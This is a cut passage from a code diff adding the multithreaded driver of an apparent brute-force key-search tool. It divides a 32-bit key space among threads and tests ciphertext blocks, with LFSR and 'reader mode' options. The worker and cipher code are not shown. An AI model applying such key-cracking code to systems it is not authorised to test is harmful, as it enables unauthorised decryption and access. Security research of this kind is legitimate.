sizeof(pthread_t)); + thread_args_t *targs = malloc(num_threads * sizeof(thread_args_t)); + if (!threads || !targs) { + fprintf(stderr, "Allocation error.\n"); + return 1; + } + + // Divide the candidate space as equally as possible among threads. + uint32_t current = 0; + for (int i = 0; i < num_threads; i++) { + targs[i].start = current; + targs[i].end = current + chunk; + if (i == num_threads - 1) + targs[i].end += remainder; + targs[i].key_mode = key_mode; + targs[i].lfsr_type = lfsr_type; + targs[i].is_reader_mode = is_reader_mode; + memcpy(targs[i].init_ciphertext, init_ciphertext, BLOCK_SIZE); + if (is_reader_mode) { + memcpy(targs[i].prev_ciphertext, tmp_blocks, BLOCK_SIZE); + memcpy(targs[i].ciphertext, tmp_blocks + BLOCK_SIZE, BLOCK_SIZE); + } else { + memcpy(targs[i].ciphertext, ciphertext, BLOCK_SIZE); + } + memcpy(targs[i].base_key, base_key, KEY_SIZE); + targs[i].thread_id = i; + current = targs[i].end; + pthread_create(&threads[i], NULL, worker, &targs[i]); + } + + for (int i = 0; i < num_threads; i++) + pthread_join(threads[i], NULL); + + if (!key_found) + printf("No matching key was found.\n"); + + free(threads); + free(targs); + return 0; +}